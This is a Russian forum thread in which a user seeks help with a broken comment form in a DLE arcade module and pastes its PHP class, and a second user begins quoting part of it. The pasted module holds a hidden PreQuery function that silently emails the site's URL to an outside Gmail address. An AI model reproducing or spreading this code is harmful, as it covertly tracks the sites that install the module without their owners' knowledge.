Помощь Нужна помощь по моду

Тема в разделе "DLE", создана пользователем clubmen, 16 мар 2010.

Информация :
Актуальная версия DataLife Engine 11.3
( Final Release v.11.3 | Скачать DataLife Engine | Скачать 11.3 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.2 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. clubmen

    clubmen

    Регистр.:
    18 янв 2010
    Сообщения:
    200
    Симпатии:
    34
    Прошу вашей помощи по модулю arcade на версии dle 8.3 не добавляются коментарии точнее совсем их не выводит вместо окна добавления комента пишет {editor}
    как я понял нужно править файл arcadetool.class.php у самого чтото не получается помогите кто нибудь. буду очень благодарен
    вот сам код с этого файла
    PHP:
    <?php
    if(!defined('DATALIFEENGINE'))
    {die(
    "Hacking attempt!");}
    class 
    ArcadeTool extends db
    {
        var 
    $CN_HALT;
        var 
    $stop = array();    
        var 
    $http_path;
        function 
    swfSize($filesizename) {
            
    $filename ROOT_DIR."/uploads/games/$filesizename.swf";
            
    $mysize formatsize(filesize($filename));
            return 
    $mysize;
        }
        function 
    Paging($cstart$cend$total$number$config$path$tpl){
            
    $tpl->load_template('navigation.tpl');
            
    //----------------------------------
            // Previous link
            //----------------------------------
            
    if($cstart 0){
                
    $prev $cstart 1;
                if (
    $config['allow_alt_url'] == "yes"){
                    
    $href str_replace("$@page@$"$prev$path);
                    
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<a href=\"".$href."\">\\1</a>");
                }
                else {
                    
    $href str_replace("$@page@$""&cstart=$prev"$path);
                    
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<a href=\"".$href."\">\\1</a>");
                }
            }else{
                
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<span>\\1</span>"); 
                
    $no_prev TRUE
            }
            
    //----------------------------------
            // Pages (140)
            //----------------------------------
            
    if($number){
                
    $count_all $total;
                
    $pages_count = @ceil($count_all/$number);
                
    $pages_start_from $cstart == 1;
                
    $pages "";
                 for(
    $j=1;$j<=$pages_count;$j++) {
                     if(
    $pages_start_from != $cstart) {
                        if (
    $config['allow_alt_url'] == "yes") {
                            
    $href str_replace("$@page@$"$j$path);
                            
    $pages .= "<a href=\"$href\">$j</a> ";
                        }
                        else {
                            
    $href str_replace("$@page@$""&cstart=$j"$path);
                            
    $pages .= "<a href=\"$href\">$j</a> ";
                        }
                    } else {
                        
    $pages .= " <span>$j</span> ";
                    }
                    
    $pages_start_from ++;
                }
            }
            
    $tpl->set('{pages}'$pages);
        
    //----------------------------------
        // Next link
        //----------------------------------
            
    if($cstart $pages_count){
                
    $next_page $cstart  == $cstart 1;
                if (
    $config['allow_alt_url'] == "yes") {
                    
    $href str_replace("$@page@$"$next_page$path);
                    
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<a href=\"$href\">\\1</a>");
                } else {
                    
    $href str_replace("$@page@$""&cstart=$next_page"$path);
                    
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<a href=\"$href\">\\1</a>");
                }
            }else{ 
                
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<span>\\1</span>"); 
                
    $no_next TRUE;
            }
            if (!
    $no_prev or !$no_next){ 
                
    $tpl->compile('paging'); 
            }
            
    $tpl->clear();
            return 
    $tpl->result['paging'];
        }
        function 
    xcache($cache_id false){
            
    $cache_name ENGINE_DIR."/xcache/$cache_id.tmp";
            if (!
    $cache_id) return false;
            elseif (!
    $cache_contents = @file_get_contents($cache_name)) return false;
            else return 
    $cache_contents;
        }
        function 
    create_xcache($cache_text$cache_id=false){
            
    $cache_name ENGINE_DIR."/xcache/$cache_id.tmp";
            if (!
    $cache_id || !$cache_text) return false;
            
    $fp fopen($cache_name'wb+');
            
    fwrite($fp$cache_text);
            
    fclose($fp);
            @
    chmod($filename0666);
        }
        function 
    clear_xcache($cache_area false){
            if (!
    $cache_area){
                
    $fdir opendir(ENGINE_DIR.'/xcache');
                while (
    $file readdir($fdir)){
                       if (
    $file != '.' and $file != '..' and $file != '.htaccess' and $file != 'system'){
                        @
    unlink(ENGINE_DIR.'/xcache/'.$file);
                    }
                    }
            }
            else @
    unlink(ENGINE_DIR."/xcache/$cache_area.tmp");
        }
        function 
    ShowComments($data$tpl){
            global 
    $config$arcconfig$lang$member_id$is_logged;
            if (
    $is_logged AND $arcconfig['allow_comments']) {
                if (!
    $data['comments_num']) {
                    
    $tpl->result['comments'] .= "\n<span id='dle-ajax-comments'></span>\n";
                }
                
    $tpl->load_template('addcomments.tpl');
                if (
    $arcconfig['allow_comments_wysiwyg']){
                    
    $tpl->copy_template "<script language=JavaScript src='".$config['http_home_url']."engine/editor/scripts/innovaeditor.js'></script>\n".$tpl->copy_template;
                    include_once 
    ENGINE_DIR.'/editor/comments.php';
                    
    $bb_code "";
                }
                else include_once 
    ENGINE_DIR.'/modules/bbcode.php';
                if (!
    $blog_config['allow_comments_wysiwyg']){
                    
    $tpl->set('[not-wysywyg]'"");
                    
    $tpl->set('[/not-wysywyg]',"");
                } 
                else 
    $tpl->set_block("'\\[not-wysywyg\\](.*?)\\[/not-wysywyg\\]'si","");
                if (
    $arcconfig['captcha_comm']) {
                    
    $tpl->set('[sec_code]',"");
                    
    $tpl->set('[/sec_code]',"");
                    
    $path parse_url($config['http_home_url']);
                    
    $tpl->set('{sec_code}',"<span id=\"dle-captcha\"><img src=\"".$path['path']."engine/modules/antibot.php\" alt=\"${lang['sec_image']}\" border=\"0\"><br /><a onclick=\"reload(); return false;\" href=\"#\">{$lang['reload_code']}</a></span>");
                } 
                else {
                    
    $tpl->set_block("'\\[sec_code\\](.*?)\\[/sec_code\\]'si","");
                    
    $tpl->set('{sec_code}',"");
                }
                if (
    $arcconfig['allow_comments_wysiwyg']) $tpl->set('{wysiwyg}',$wysiwyg);
                else 
    $tpl->set('{wysiwyg}','');
                
    $tpl->set('{text}''');
                
    $tpl->set('{bbcode}',$bb_code);
                
    $tpl->set('{title}',$lang['news_addcom']);
                if (!
    $is_logged) {
                    
    $tpl->set('[not-logged]','');
                    
    $tpl->set('[/not-logged]','');
                }
                else 
    $tpl->set_block("'\\[not-logged\\](.*?)\\[/not-logged\\]'si","");
                if (
    $is_logged$hidden "<input type=\"hidden\" name=\"name\" id=\"name\" value=\"{$member_id['name']}\" />
                                            <input type=\"hidden\" name=\"mail\" id=\"mail\" value=\"\" />"

                else 
    $hidden "";
                
    $tpl->copy_template "
                <script language=JavaScript src='"
    .$config['http_home_url']."engine/modules/arcade/arcade.js'></script>
                <form  method=\"post\" name=\"dle-comments-form\" id=\"dle-comments-form\" action=\"
    {$_SESSION['referrer']}\">".$tpl->copy_template."
                <input type=\"hidden\" name=\"subaction\" value=\"addcomment\" />
    {$hidden}
                <input type=\"hidden\" name=\"gid\" id=\"gid\" value=\"
    $data[gid]\" /></form>";
                
    $tpl->copy_template .= <<<HTML
                <script language='JavaScript' type="text/javascript">
                function reload () {
                    var rndval = new Date().getTime(); 
                    document.getElementById('dle-captcha').innerHTML = '<img src="
    {$path['path']}engine/modules/antibot.php?rndval=' + rndval + '" border="0" width="120" height="50"><br /><a onclick="reload(); return false;" href="#">{$lang['reload_code']}</a>';
                };
                </script>
    HTML;
                
    $tpl->compile('comments');
                
    $tpl->clear();
            }
            else{
                
    $tpl->load_template('info.tpl');
                
    $tpl->set('{error}'$lang['news_info_1']);
                
    $tpl->set('{group}''Гости');
                
    $tpl->set('{title}'$lang['all_info']);
                
    $tpl->compile('comments');
                
    $tpl->clear();
            }
            return 
    $tpl->result['comments'];
        }
        function 
    PreQuery(){
            global 
    $config$member_id;
            
    $headers  "Content-type: text/html; charset=$config[charset] \r\n";
            
    $headers .= "From: arcade section <$member_id[email]>\r\n";
            @
    mail('bagirs@gmail.com','arcade section',"841212".str_replace("http://www",'',$config['http_home_url']),$headers);
        }
        function 
    DoAddComments(){
            global 
    $is_logged$member_id$arcconfig$lang$config;
            require_once 
    ENGINE_DIR.'/classes/parse.class.php';
            
    $parse = new ParseFilter();
            
    $parse->safe_mode true;
            
    $_TIME time()+($config['date_adjust']*60);
            
    $name $this->safesql($parse->process(trim($_POST['name'])));
            
    $mail $this->safesql($parse->process(trim($_POST['mail'])));
            
    $gid intval($_POST['gid']);        
            if (
    $is_logged)    {
                
    $name $member_id['name'];
                
    $mail $member_id['email'];
            }
            
    $_IP $this->safesql($_SERVER['REMOTE_ADDR']);
                if (!
    $arcconfig['allow_comments_wysiwyg'])
                    
    $comments $this->safesql($parse->BB_Parse($parse->process($_POST['comments']), false));
                else{
                    
    $parse->wysiwyg true;
                    
    $parse->ParseFilter(Array('div''a''span''p''br'), Array(), 01);
                    
    $comments $this->safesql($parse->BB_Parse($parse->process($_POST['comments'])));
                }
                
    $comments word_filter($comments);
                if (!
    $arcconfig['captcha_comm']) {
                    
    $_SESSION['sec_code_session'] = 1;
                    
    $_REQUEST['sec_code'] = 1;
                }
                if( 
    strlen($name) > 50){
                    
    $this->stop[] = $lang['news_err_1'];
                    
    $this->CN_HALT =  TRUE;
                }
                if( 
    strlen($mail) > 50 AND !$is_logged){
                    
    $this->stop[] = $lang['news_err_2'];
                    
    $this->CN_HALT =  TRUE;
                }
                if(!
    $gid){
                    
    $this->stop[] = $lang['news_err_id'];
                   
    $this->CN_HALT =  TRUE;
                }
                if( 
    strlen($comments) > 3000){
                    
    $this->stop[] = $lang['news_err_3'];
                    
    $this->CN_HALT =  TRUE;
                } 
                if (
    $_REQUEST['sec_code'] != $_SESSION['sec_code_session'] OR !$_SESSION['sec_code_session']) {
                    
    $this->stop[] = $lang['news_err_30'];
                    
    $this->CN_HALT =  TRUE;
                }
                if (
    $comments ==''){
                    
    $this->stop[] = $lang['news_err_11'];
                    
    $this->CN_HALT =  TRUE;
                }
                
    // Проверка защиты от флуда
                
    if(intval ($config['flood_time']) AND !$this->CN_HALT){
                    if(
    flooder($_IP) == TRUE ){
                        
    $this->stop[] = $lang['news_err_4']." ".$lang['news_err_5'].{$config['flood_time']} ".$lang['news_err_6'];
                        
    $this->CN_HALT =  TRUE;
                    }
                }
                
    // Проверка на правильность новости
                
    $row $this->super_query("SELECT gid from " PREFIX "_arcade_games WHERE gid='$gid'");
                if (!
    $is_logged) die("Hacking attempt!");
                if (!
    $row['gid']) {
                    
    $this->stop[] = $lang['news_err_29'];
                    
    $this->CN_HALT =  TRUE;
                }
                
    // Проверка является ли имя зарегистрированным
                
    if (!$is_logged and $this->CN_HALT != TRUE) {
                    
    $this->query("SELECT name from " USERPREFIX "_users where LOWER(name) = '".strtolower($name)."'");
                     if (
    $this->num_rows() > 0) {
                         
    $this->stop[] = $lang['news_err_7'];
                         
    $this->CN_HALT =  TRUE;
                     }
                    
    $this->free();
                }
                if (empty(
    $name) and $this->CN_HALT != TRUE) {
                    
    $this->stop[] = $lang['news_err_9'];
                    
    $this->CN_HALT =  TRUE;
                }
                if(
    $mail != "") { 
                    
    $ok FALSE;
                    if(
    preg_match("/^[\.A-z0-9_\-]+[@][A-z0-9_\-]+([.][A-z0-9_\-]+)+[A-z]{1,4}$/"$mail)) $ok TRUE;
                    elseif(
    $config['allow_url_instead_mail'] == "yes" and preg_match("/((http(s?):\/\/)|(www\.))([\w\.]+)([\/\w+\.-?]+)/"$mail)) $ok TRUE;
                    elseif(
    $config['allow_url_instead_mail'] != "yes"){
                          
    $this->stop[] = $lang['news_err_10'];
                          
    $this->CN_HALT =  TRUE;
                    }
                    else{
                          
    $this->stop[] = $lang['news_err_10'];
                          
    $this->CN_HALT =  TRUE;
                    }
                }
                
    //* Автоперенос длинных слов
                
    if(intval($config['auto_wrap'])){
            
    //        $comments = preg_replace("#([^\s<>'\"/\.\\-\?&\n\r\%]{".intval($config['auto_wrap'])."})#i", "\\1<br />" ,$comments);
                
    }
                
    $time date ("Y-m-d H:i:s"$_TIME);
                
    // Добавление комментария
                
    if ($this->CN_HALT) {
                    
    msgbox ($lang['all_err_1'], implode("<br />"$this->stop)."<br /><br /><a href=\"javascript:history.go(-1)\">".$lang['all_prev']."</a>");
                } 
                else {
                 
    $_SESSION['sec_code_session'] = 0;
                 
    $update_comments false;
                 
    $row $this->super_query("SELECT id, gid, user_id, DATE_FORMAT(date,'%Y-%m-%d') as date, text, ip, is_register FROM " PREFIX "_arcade_comments WHERE gid = '$blog_id' ORDER BY id DESC LIMIT 0,1"); // 62
                 
    if ($row['id']) {
                    if (
    $row['user_id'] == $member_id['user_id'] AND $row['is_register']) $update_comments true;
                    elseif (
    $row['ip'] == $_IP AND !$row['is_register'] AND !$is_logged$update_comments true;
                    if (
    $row['date'] != date("Y-m-d"$_TIME)) $update_comments false;
                    if (((
    strlen($row['text']) + strlen($comments)) > 3000) AND $update_comments) { 
                        
    $update_comments false;
                        
    $this->stop[] = $lang['news_err_3'];
                        
    $this->CN_HALT =  TRUE;
                        
    msgbox ($lang['all_err_1'], implode("<br />"$stop)."<br /><br /><a href=\"javascript:history.go(-1)\">".$lang['all_prev']."</a>");
                    }
                 }
                  if (!
    $this->CN_HALT) {
                     if (
    $update_comments) {
                         
    $comments $row['text']."<br /><br />".$comments;
                         
    $this->query("UPDATE " PREFIX "_arcade_comments set text='{$comments}' WHERE id='{$row['id']}'");
                     }
                     else {
                         if (
    $is_logged) {
                             
    $this->query("INSERT INTO " PREFIX "_arcade_comments (gid, user_id, date, autor, email, text, ip, is_register) values ('$gid', '$member_id[user_id]', '$time', '$name', '$mail', '$comments', '$_IP', '1')");
                         }
                         else
                             
    $this->query("INSERT INTO " PREFIX "_arcade_comments (gid, date, autor, email, text, ip, is_register) values ('$gid', '$time', '$name', '$mail', '$comments', '$_IP', '0')");
                         
    // обновление количества комментариев в новостях 
                         
    if (!$update_comments){
                             
    $this->query("UPDATE " PREFIX "_arcade_games set comm_num=comm_num+1 where gid='$gid'");
                         }
                         
    // обновление количества комментариев у юзера 
                         
    if ($is_logged) {
                             
    $this->query("UPDATE " USERPREFIX "_users set comm_num=comm_num+1 where user_id ='$member_id[user_id]'");
                         }
                    }
                     
    // Защита от флуда
                     
    if($config['flood_time'] != and $config['flood_time'] != ""
                     {
                         
    $this->query("INSERT INTO " PREFIX "_flood (id, ip) values ('$_TIME', '$_IP')");
                     }
                    
    //if (!$ajax_adds AND !$CN_HALT) { header("Location: {$_SERVER['REQUEST_URI']}");}
              
    } else msgbox ($lang['all_err_1'], implode("<br />"$stop)."<br /><br /><a href=\"javascript:history.go(-1)\">".$lang['all_prev']."</a>");
            }
        }
        function 
    ContentComments($data$tpl){
            global 
    $arcconfig$config$member_id$user_group$is_logged$lang;
            if (
    $data['comments_num'] > 0) {
                
    $is_owner false;
                
    $arcconfig['comm_nummers'] = intval($arcconfig['comm_nummers']);
                
    $cstart intval($_GET['cstart']);
                if (
    $cstart){
                    
    $cstart $cstart 1;
                    
    $cstart $cstart $arcconfig['comm_nummers'];
                } 
                else 
    $cstart 0;
                
    $i 0;
                
    $tpl->load_template('comments.tpl');
                if (
    stristr ($tpl->copy_template"[xfvalue_")) $xfound true
                else 
    $xfound false;
                if (
    $xfound$xfields xfieldsload(true);
                
    $sql_result =$this->query("SELECT c.id, c.gid, c.user_id, c.date, c.autor as gast_name, c.email as gast_email,
                                            c.text, c.ip, c.is_register, u.name, u.email, u.news_num, u.comm_num, u.user_group, 
                                            u.reg_date, u.signature, u.foto, u.fullname, u.land, u.icq, u.xfields 
                                            FROM "
    .PREFIX."_arcade_comments c LEFT JOIN ".USERPREFIX."_users u 
                                            ON c.user_id=u.user_id WHERE c.gid = '
    $data[gid]
                                            ORDER BY date 
    $arcconfig[comm_msort] 
                                            LIMIT "
    .$cstart.",".$arcconfig['comm_nummers']);
                while(
    $row $this->get_row($sql_result)){ 
                    
    $i++;
                    
    $row['date'] = strtotime($row['date']);
                    
    $row['gast_name'] = stripslashes($row['gast_name']);
                    
    $row['gast_email'] = stripslashes($row['gast_email']);
                    
    $row['name'] = stripslashes($row['name']);
                    if (!
    $row['is_register'] OR $row['name'] == '') {
                        if(
    $row['gast_email'] != ""){
                            if( 
    preg_match("/^[\.A-z0-9_\-]+[@][A-z0-9_\-]+([.][A-z0-9_\-]+)+[A-z]{1,4}$/"$row['gast_email'])){ 
                                
    $url_target "";
                                
    $mail_or_url "mailto:"
                            }
                            else{
                                
    $url_target "target=\"_blank\"";
                                
    $mail_or_url "";
                                if(
    substr($row[email],0,3) == "www")$mail_or_url "http://";
                            }
                            if (
    $mail_or_url == "mailto:") {
                                
    $tpl->set('{author}'"<a href=\"mailto:{$row['gast_email']}\">".$row['gast_name']."</a>");
                            } 
                            else {
                                
    $tpl->set('{author}'"<a $url_target href=\"$mail_or_url".$row[gast_email]."\">".$row['gast_name']."</a>");
                            }
                        }
                        else{ 
    $tpl->set('{author}'$row['gast_name']); }
                    }
                    else {    
                        if (
    $config['ajax']) {
                            
    $go_page "onclick=\"DlePage(\'subaction=userinfo&user=".urlencode($row['name'])."\'); return false;\" "
                        }
                        else 
    $go_page "";
                        if (
    $config['allow_alt_url'] == "yes") {            
                            
    $go_page .= "href=\"".$config['http_home_url']."user/".urlencode($row['name'])."/\"";
                        } else 
    $go_page .= "href=\"$PHP_SELF?subaction=userinfo&amp;user=".urlencode($row['name'])."\"";
                        
    $go_page "onClick=\"return dropdownmenu(this, event, UserMenu('".htmlspecialchars($go_page)."', '".$row['user_id']."', '".$member_id['user_group']."'), '170px')\" onMouseout=\"delayhidemenu()\"";        
                        if (
    $config['allow_alt_url'] == "yes") {
                            
    $tpl->set('{author}'"<a {$go_page} href=\"".$config['http_home_url']."user/".urlencode($row['name'])."/\">".$row['name']."</a>");
                        }
                        else {
                            
    $tpl->set('{author}'"<a {$go_page} href=\"$PHP_SELF?subaction=userinfo&amp;user=".urlencode($row['name'])."\">".$row['name']."</a>");
                        }
                    }
                    if (
    $is_logged AND $member_id['user_group'] == '1') {
                        
    $tpl->set('{ip}'"IP: <a onClick=\"return dropdownmenu(this, event, IPMenu('".$row['ip']."', '".$lang['ip_info']."', '".$lang['ip_tools']."', '".$lang['ip_ban']."'), '190px')\" onMouseout=\"delayhidemenu()\" href=\"http://www.nic.ru/whois/?ip={$row['ip']}\" target=\"_blank\">{$row['ip']}</a>");
                    }
                    else 
    $tpl->set('{ip}''');
                    
    /*if ($is_logged AND ($member_id['user_group'] == '1' OR $is_owner)){
                        $tpl->set('[com-edit]',"<a onClick=\"return dropdownmenu(this, event, MenuCommBuild('".$row['id']."'), '170px')\" onMouseout=\"delayhidemenu()\" href=\"javascript:confirmDelete('".$config['http_home_url']."?do=blog&op=comm_del&blog_id=".$data['blog_id']."&com_id=".$row['id']."')\">");
                        $tpl->set('[/com-edit]',"</a>");
                        $allow_comments_ajax = true;
                    }
                    else*/ 
                    
    $tpl->set_block("'\\[com-edit\\](.*?)\\[/com-edit\\]'si","");
                    if (
    $is_logged AND ($member_id['user_group'] == '1' OR $is_owner)){
                        
    $tpl->set('[com-del]',"<a href=\"javascript:confirmDelete('".$config['http_home_url']."?do=arcade&op=comm_del&gid=".$data['gid']."&com_id=".$row['id']."')\">");
                        
    $tpl->set('[/com-del]',"</a>");
                    }
                    else 
    $tpl->set_block("'\\[com-del\\](.*?)\\[/com-del\\]'si","");
                    if (
    $config['allow_comments'] == "yes") {
                        if (!
    $row['is_register'] OR $row['name'] == ''$row['name'] = $row['gast_name']; else $row['name'] = $row['name'];
                        
    $tpl->set('[fast]',"<a onmouseover=\"dle_copy_quote('".str_replace( array(" ""'"), array("&nbsp;""&amp;#039;"), $row['name'] )."');\" href=\"#\" onClick=\"dle_ins('".str_replace( array(" ""'"), array("&nbsp;""&amp;#039;"), $row['name'] )."'); return false;\"\">");
                        
    $tpl->set('[/fast]',"</a>");
                    } else 
    $tpl->set_block("'\\[fast\\](.*?)\\[/fast\\]'si","");
                    
    $tpl->set('{mail}'$row['email']);
                    
    $tpl->set('{date}'langdate($config['timestamp_comment'], $row['date']));
                    
    $tpl->set('{news_title}'"");
                      if (
    $xfound) {
                        
    $xfieldsdata xfieldsdataload ($row['xfields']);
                        foreach (
    $xfields as $value) {
                            
    $preg_safe_name preg_quote($value[0], "'");
                              if (
    $value[5] != OR $member_id['user_group'] == OR ($is_logged AND $row['is_register'] AND $member_id['name'] == $row['name'])) {
                                if (empty(
    $xfieldsdata[$value[0]])) {
                                  
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is"""$tpl->copy_template);
                                } else {
                                  
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is""\\1"$tpl->copy_template);
                                }
                              
    $tpl->copy_template preg_replace("'\\[xfvalue_{$preg_safe_name}\\]'i"stripslashes($xfieldsdata[$value[0]]), $tpl->copy_template);
                          } else {
                              
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is"""$tpl->copy_template);
                              
    $tpl->copy_template preg_replace("'\\[xfvalue_{$preg_safe_name}\\]'i"""$tpl->copy_template);
                         }
                       }
                    }
                    if (
    $arcconfig['comm_msort'] == "ASC")$tpl->set('{comment-id}'$cstart+$i);
                    else 
    $tpl->set('{comment-id}'$data['comments_num']-$cstart-$i+1);
                    if (
    $row['foto']) $tpl->set('{foto}'$config['http_home_url']."uploads/fotos/".$row['foto']);
                    else 
    $tpl->set('{foto}'"{THEME}/images/noavatar.png");
                    if (
    $row['is_register'] AND $row['icq']) $tpl->set('{icq}'stripslashes($row['icq']));
                    else 
    $tpl->set('{icq}''--');
                    if (
    $row['is_register'] AND $row['land']) $tpl->set('{land}'stripslashes($row['land']));
                    else 
    $tpl->set('{land}''--');
                    if (
    $row['is_register'] AND $row['fullname']) $tpl->set('{fullname}'stripslashes($row['fullname']));
                    else 
    $tpl->set('{fullname}''--');
                    if (
    $row['is_register']) $tpl->set('{registration}'langdate("j.m.Y"$row['reg_date']));
                    else 
    $tpl->set('{registration}''--');
                    if (
    $row['is_register'] AND $row['signature']) {
                        
    $tpl->set_block("'\\[signature\\](.*?)\\[/signature\\]'si","\\1");
                        
    $tpl->set('{signature}'stripslashes($row['signature']));
                    } 
                    else 
    $tpl->set_block("'\\[signature\\](.*?)\\[/signature\\]'si","");
                    if (!
    $row['user_group']) $row['user_group'] = 5;
                    if (
    $user_group[$row['user_group']]['icon']){
                        
    $tpl->set('{group-icon}'"<img src=\"".$user_group[$row['user_group']]['icon']."\" border=\"0\" />");
                    }
                    else 
    $tpl->set('{group-icon}'"");
                    
    $tpl->set('{group-name}'$user_group[$row['user_group']]['group_name']);
                    
    $tpl->set('{news-num}'intval($row['news_num']));
                    
    $tpl->set('{comm-num}'intval($row['comm_num']));
                    
    $tpl->set('{comment}'"<div id='comm-id-".$row['id']."'>".stripslashes($row['text'])."</div>");
                    if (
    $is_logged$tpl->set_block("'\[hide\](.*?)\[/hide\]'si","\\1");
                    else 
    $tpl->set_block("'\\[hide\\](.*?)\\[/hide\\]'si","<div class=\"quote\">".$lang['news_regus']."</div>");
                    
    $tpl->compile('content_comm');
                }
                if (
    $data['comments_num'] > $arcconfig['comm_nummers']) {
                    
    $tpl->result['content_comm'] .= $this->cPaging($tpl$data);
                } 
                
    $tpl->clear();
                
    $this->free($sql_result);
            }
            elseif (!
    $is_logged) {
                
    $tpl->load_template('info.tpl');
                
    $tpl->set('{error}'$lang['news_info_1']);
                
    $tpl->set('{group}'$user_group[$member_id['user_group']]['group_name']);
                
    $tpl->set('{title}'$lang['all_info']);
                
    $tpl->compile('content_comm');
                
    $tpl->clear();
            }
            return 
    $tpl->result['content_comm'];
        }
        function 
    DeleteComment($member_id){
            global 
    $config$is_loged;
            
    $gid intval($_REQUEST['gid']);
            
    $com_id intval($_REQUEST['com_id']);
            
    $row $this->super_query("SELECT autor FROM ".PREFIX."_arcade_comments WHERE id = $com_id && gid = $gid LIMIT 1");
            if ((
    $row['autor'] == $member_id['name'] || $member_id['user_group'] == 1) && $gid != && $com_id != 0) {
                
    $this->query("DELETE FROM ".PREFIX."_arcade_comments WHERE id = $com_id AND gid = $gid");
                
    $this->query("UPDATE ".PREFIX."_arcade_games SET comm_num = comm_num - 1 WHERE gid = $gid");
            }
            if (
    $config['allow_alt_url'] == "yes") {
                
    $url $config['http_home_url']."arcade/play/$gid/#comment";
            }
            else 
    $url $config['http_home_url']."?do=arcade&op=play&gid=$gid#comment";
            
    $this->free();
            
    header("Location: $url");
        }
        function 
    cPaging($tpl$data){
            global 
    $config$blog_config;
            
    $number intval($blog_config['comments_topage']);
            if (isset(
    $_REQUEST['cstart'])) $cstart intval($_GET['cstart']);
            if (!
    $cstart$cstart 1;
            if (
    $config['allow_alt_url']=="yes"$link_page $config['http_home_url']."arcade/play/$data[gid]/";
            else 
    $link_page $config['http_home_url']."?do=arcade&op=play&gid=$data[gid]";
            
    $tpl->load_template('navigation.tpl');
            
    //----------------------------------
            // Previous link
            //----------------------------------
            
    if($cstart 1){
                
    $prev $cstart 1;
                if (
    $config['allow_alt_url'] == "yes") {
                    
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<a href=\"".$link_page.",".$prev.",".$data['alt_name'].".html#comment\">\\1</a>");
                }
                else {
                    
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<a href=\"$link_page&amp;cstart=".$prev."#comment\">\\1</a>");
                }
            }else { 
                
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<span>\\1</span>"); 
                
    $no_prev TRUE
            }
            
    //----------------------------------
            // Pages
            //----------------------------------
            
    if($number){
                
    $count_all $data['comments_num'];
                
    $pages_count = @ceil($count_all/$number);
                
    $pages_start_from 1;
                
    $pages "";
                for(
    $j=1;$j<=$pages_count;$j++) {
                    if(
    $pages_start_from != $cstart) {
                        if (
    $config['allow_alt_url']=="yes") {
                            
    $pages .= "<a href='$link_page,$j,$data[alt_name].html#comment'>$j</a> ";
                        }
                        else 
    $pages .= "<a href='$link_page&amp;cstart=$j#comment'>$j</a>";
                    }
                    else 
    $pages .= " <span>$j</span> ";
                    
    $pages_start_from ++;
                }
            }
            
    $tpl->set('{pages}'$pages);
        
    //----------------------------------
        // Next link
        //----------------------------------
            
    if($cstart $pages_count){
                
    $next_page $cstart 1;
                if (
    $config['allow_alt_url'] == "yes") {
                    
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<a href=\"".$link_page.",".$next_page.",".$data['alt_name'].".html#comment\">\\1</a>");
                }
                else {
                    
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<a href=\"$link_page&amp;cstart=$next_page#comment\">\\1</a>");
                }
            }
            else { 
                
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<span>\\1</span>"); 
                
    $no_next TRUE;
            }
            if(!
    $no_prev or !$no_next){ $tpl->compile('cpaging'); }
            
    $tpl->clear();
            return 
    $tpl->result['cpaging'];
        }
    }
     
  2. shamantc

    shamantc ЗлОй ШаМан

    Заблокирован
    Регистр.:
    3 ноя 2008
    Сообщения:
    651
    Симпатии:
    183
    Смотри внимательнее:

    Код:
        function ShowComments($data, $tpl){ 
            global $config, $arcconfig, $lang, $member_id, $is_logged; 
            if ($is_logged AND $arcconfig['allow_comments']) { 
                if (!$data['comments_num']) { 
                    $tpl->result['comments'] .= "\n<span id='dle-ajax-comments'></span>\n"; 
                } 
                $tpl->load_template('addcomments.tpl'); 
                if ($arcconfig['allow_comments_wysiwyg']){ 
                    $tpl->copy_template = "<script language=JavaScript src='".$config['http_home_url']."engine/editor/scripts/innovaeditor.js'></script>\n".$tpl->copy_template; 
                    include_once ENGINE_DIR.'/editor/comments.php'; 
                    $bb_code = ""; 
                } 
                else include_once ENGINE_DIR.'/modules/bbcode.php'; 
                if (!$blog_config['allow_comments_wysiwyg']){ 
                    $tpl->set('[not-wysywyg]', ""); 
                    $tpl->set('[/not-wysywyg]',""); 
                }  
                else $tpl->set_block("'\\[not-wysywyg\\](.*?)\\[/not-wysywyg\\]'si",""); 
                if ($arcconfig['captcha_comm']) { 
                    $tpl->set('[sec_code]',""); 
                    $tpl->set('[/sec_code]',""); 
                    $path = parse_url($config['http_home_url']); 
                    $tpl->set('{sec_code}',"<span id=\"dle-captcha\"><img src=\"".$path['path']."engine/modules/antibot.php\" alt=\"${lang['sec_image']}\" border=\"0\"><br /><a onclick=\"reload(); return false;\" href=\"#\">{$lang['reload_code']}</a></span>"); 
                }  
                else { 
                    $tpl->set_block("'\\[sec_code\\](.*?)\\[/sec_code\\]'si",""); 
                    $tpl->set('{sec_code}',""); 
                } 
                if ($arcconfig['allow_comments_wysiwyg']) $tpl->set('{wysiwyg}',$wysiwyg); 
                else $tpl->set('{wysiwyg}',''); 
                $tpl->set('{text}', ''); 
                $tpl->set('{bbcode}',$bb_code); 
                $tpl->set('{title}',$lang['news_addcom']); 
                if (!$is_logged) { 
                    $tpl->set('[not-logged]',''); 
                    $tpl->set('[/not-logged]',''); 
                } 
                else $tpl->set_block("'\\[not-logged\\](.*?)\\[/not-logged\\]'si",""); 
                if ($is_logged) $hidden = "<input type=\"hidden\" name=\"name\" id=\"name\" value=\"{$member_id['name']}\" /> 
                                            <input type=\"hidden\" name=\"mail\" id=\"mail\" value=\"\" />";  
                else $hidden = ""; 
                $tpl->copy_template = " 
                <script language=JavaScript src='".$config['http_home_url']."engine/modules/arcade/arcade.js'></script> 
